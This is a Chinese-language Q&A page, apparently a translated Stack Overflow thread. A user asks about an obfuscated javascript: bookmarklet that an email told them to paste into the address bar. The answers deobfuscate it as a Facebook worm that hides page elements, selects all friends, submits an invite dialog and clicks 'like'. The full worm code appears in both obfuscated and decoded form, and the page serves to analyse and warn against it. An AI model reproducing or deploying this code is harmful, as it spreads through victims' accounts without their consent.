这段代码做了什么

时间:2010-05-24 10:58:18

标签: javascript

好的,碰巧是我的好朋友的人最近给我发了一些奇怪的电子邮件,其中一封是一个页面链接,要求你将其复制并粘贴到浏览器的地址栏然后执行。 ..

javascript:(function(){a='app125879300771588_jop';b='app125879300771588_jode';ifc='app125879300771588_ifc';ifo='app125879300771588_ifo';mw='app125879300771588_mwrapper';var _0xc100=["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x69\x64\x64\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65","\x63\x6C\x69\x63\x6B","\x73\x75\x67\x67\x65\x73\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x6C\x69\x6B\x65\x6D\x65"];d=document;d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]]=_0xc100[3];d[_0xc100[2]](a)[_0xc100[4]]=d[_0xc100[2]](b)[_0xc100[5]];d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();setTimeout(function (){fs[_0xc100[8]]();} ,5000);setTimeout(function (){SocialGraphManager[_0xc100[11]](_0xc100[9],_0xc100[10]);} ,5000);setTimeout(function (){d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();d[_0xc100[2]](ifo)[_0xc100[4]]=d[_0xc100[2]](ifc)[_0xc100[5]];} ,5000);})();

在低级别编程时,我并不完全喜欢它,我很好奇这封电子邮件在这里要求的内容......

请不要运行这个代码,除非你很高兴它不会破坏任何事情。

但是......有人可以告诉我它的作用吗?

3 个答案:

答案 0 :(得分:12)

a = 'app125879300771588_jop';
b = 'app125879300771588_jode';
ifc = 'app125879300771588_ifc';
ifo = 'app125879300771588_ifo';
mw = 'app125879300771588_mwrapper';
var _0xc100 = ["visibility", "style", "getElementById", "hidden", "innerHTML", "value", "click", "suggest", "select_all", "sgm_invite_form", "/ajax/social_graph/invite_dialog.php", "submitDialog", "likeme"];
d = document;
d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3];
d[_0xc100[2]](a)[_0xc100[4]] = d[_0xc100[2]](b)[_0xc100[5]];
d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();
setTimeout(function () {
    fs[_0xc100[8]]();
}, 5000);
setTimeout(function () {
    SocialGraphManager[_0xc100[11]](_0xc100[9], _0xc100[10]);
}, 5000);
setTimeout(function () {
    d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();
    d[_0xc100[2]](ifo)[_0xc100[4]] = d[_0xc100[2]](ifc)[_0xc100[5]];
}, 5000);

这很可能是许多Facebook蠕虫之一的适应性发送给你所有的朋友。

Looke here提出类似的问题。

其他版本使用p.a.c.k.e.r进行混淆,通过http://jsbeautifier.org/

运行p.a.c.k.e.r代码可以轻松地对这些进行反混淆处理。

答案 1 :(得分:12)

我没有完全解码代码,但这里有一些提示。

变量_0xc100定义了一个字符串数组。字符编码为十六进制,因此读取它们更加困难。因此,例如,\ x76等于“v”。

您可以安全地alert(_0xc100);以纯文本格式查看。

var _0xc100 = ["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79", 
      "\x73\x74\x79\x6C\x65", 
      "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
      "\x68\x69\x64\x64\x65\x6E",
      "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C",
      "\x76\x61\x6C\x75\x65",
      "\x63\x6C\x69\x63\x6B",
      "\x73\x75\x67\x67\x65\x73\x74",
      "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C",
      "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D",
      "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70",
      "\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67",
      "\x6C\x69\x6B\x65\x6D\x65"];

转换为包含这些关键字的数组

visibility, style, getElementById, hidden, innerHTML, value, click, suggest, select_all,
sgm_invite_form, /ajax/social_graph/invite_dialog.php, submitDialog, likeme

现在,以下语句(不执行这些)使用这些关键字来实际执行功能。

例如:

d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3];

相当于(d定义为documentmw定义在顶部)

document.getElementById("app125879300771588_mwrapper").style.visibility = "hidden";

隐藏了一个名为app125879300771588_mwrapper

的元素

以下说明给出了

document.getElementById("app125879300771588_jop").innerHTML = document.getElementById("app125879300771588_jode").value;

app125879300771588_jop的内容复制到app125879300771588_jode

document.getElementById("suggest").click();

我想点击一些“建议”按钮。

最后,它设置3个setTimeout函数,在5秒后执行3个命令(5000)

他们翻译为

setTimeout(function () {
    select_all();
     }, 5000);

我假设选择了所有朋友......

setTimeout(function () 
    {
    SocialGraphManager.submitDialog("sgm_invite_form", "/ajax/social_graph/invite_dialog.php");
    }, 5000);

...发送邀请

setTimeout(function () 
    {
    document.getElementById("likeme").click();
    document.getElementById("app125879300771588_ifo").innerHTML =
       document.getElementById("app125879300771588_ifc").value;
    }, 5000);

...并按下类似按钮

请注意,我不使用Facebook,我不知道它的来龙去脉,但我想很明显这段代码是恶意的。

答案 2 :(得分:4)

这是obfuscated bookmarklet。您可以(仔细)对其进行取消混淆,以查看它将运行的实际Javascript。但是,如果你没有强大的需求,可能不值得打扰。我把它收起来并与我的朋友核实,看看它是否真的来自他/她,如果是的话,为什么。